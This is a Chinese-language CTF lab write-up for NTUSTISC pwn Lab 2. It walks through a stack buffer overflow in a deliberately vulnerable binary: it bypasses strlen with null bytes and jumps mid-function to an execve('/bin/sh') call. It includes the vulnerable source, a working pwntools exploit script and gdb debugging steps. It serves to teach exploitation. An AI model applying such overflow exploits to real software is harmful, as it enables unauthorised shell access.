[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2相关的知识,希望对你有一定的参考价值。

一、考点

  • 栈溢出
  • gdb动态调试
  • ida静态分析
  • 0x00绕过
  • 如何跳转到函数内部的某一跳语句执行
  • pwntools脚本与二进制程序相结合的动态调试

二、相关资源

题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab2

三、题目

这是一道较基础的pwn题,同时不但给出了二进制文件,也给出了源文件:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  int allow = 0;
  if (allow) {
    execve("/bin/sh", 0, 0);
  }
  else {
    puts("Oh no~~~!");
    exit(0);
  }
}

int main()
{
  char buf[16];
  puts("This is your second bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  if (strlen(buf) >= 16) {
    puts("Bye bye~~");
    exit(0);
  }
  return 0;
}

四、解题过程

1、检查保护机制

checksec无任何保护机制:
在这里插入图片描述

2、运行查看效果

运行该程序,在用户输入时,填充大量的11111111,没有出现缓冲区溢出漏洞。
在这里插入图片描述

3、IDA伪代码和bof2.c的静态分析

拖入IDA进行静态分析,主函数main为:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("This is your second bof challenge ;)");
  fflush(_bss_start);
  read(0, buf, 0x30uLL);
  if ( strlen(buf) > 0xF )
  {
    puts("Bye bye~~");
    exit(0);
  }
  return 0;
}

除了主函数main外,可看到函数y0u_c4n7_533_m3:

void y0u_c4n7_533_m3()
{
  puts("Oh no~~~!");
  exit(0);
}

将ida和源代码中的y0u_c4n7_533_m3对照来看,似乎进行了常量传播和if优化,只保留了实际执行中的分支。
虽然伪代码中未显示/bin/sh的信息,但是在下图的汇编视图中仍然可以看到:
在这里插入图片描述

4、绕过关键点1

这道题要绕过两个关键点,第一个是主函数main中read后的if判断,read函数可以读取48个字符,但if条件中只允许字符长度为16,因此,可通过在payload中间的位置填充0x00,使得strlen函数截断,虽然read函数超过了16个字节,但strlen的返回值仍然不大于16。

5、绕过关键点2

第二个关键点是y0u_c4n7_533_m3函数中的变量allow为0,并不会执行execve("/bin/sh", 0, 0)语句,因此,这道题栈溢出覆盖的return address不能是y0u_c4n7_533_m3的地址,而应直接跳转到execve执行的位置。这个函数有三个参数,分别用rdi、rsi和rdx保存,跳转到0x4006AC时,正好可完成三个参数的传递。

6、gdb动态调试

使用gdb动态调试,分别进行如下操作:

gdb bof
b main
r

单步n,一直到read的位置,这是堆栈空间还没有被污染的样子,main函数执行完后,会从堆栈中弹出下一条指令的地址(这是main返回后要去的地方),即图中标红的部分:
在这里插入图片描述
单步n,任意输入一串数字,发现这个位置已被填充为dddddddd
在这里插入图片描述

7、编写exp

编写的exp为:

from pwn import *
r = process('./bof2')
magic = 0x4006ac
r.recvuntil(';)\\n')
payload = '\\x00'*24 +p64(magic)+'\\x00'*8+'\\x00'*8
r.send(payload)

r.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

五、动态验证(二进制+pwntools混合调试)

在exp中增加一行代码raw_input():

from pwn import *
r = process('./bof2')
raw_input()
magic = 0x4006ac
r.recvuntil(';)\\n')
payload = '\\x00'*24 +p64(magic)+'\\x00'*8+'\\x00'*8
r.send(payload)

r.interactive()

在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
在这里插入图片描述
再打开另一终端并执行gdb bof,在gdb中输入attach 30314附加调试到bof2进程。
输入n,切换到执行python脚本的终端,按回车键跳过卡着的位置。再回到gdb的终端,这时可看到return address已经替换为y0u_c4n7_533_m3函数21偏移的位置。
在这里插入图片描述
继续按n,可看到绕过了strlen的判断,继续按n可看到成功跳转到了<y0u_c4n7_533_m3+21>:
在这里插入图片描述
继续n单步,到<y0u_c4n7_533_m3+38> 时,可看到三个参数已正确传递:
在这里插入图片描述

继续按一下n,执行/bin/sh,得到shell。
这种调试方法也是pwn手所必备的技能,通过raw_input()的方式,实现pwntools脚本与二进制程序交互的同时,实现了pwntools脚本与二进制程序相结合的动态调试

以上是关于[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验

[NTUSTISC pwn LAB 4]gothijacking入门实验

[NTUSTISC pwn LAB 5]rop入门实验

[NTUSTISC pwn LAB 6]rop&Return to plt实验

[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)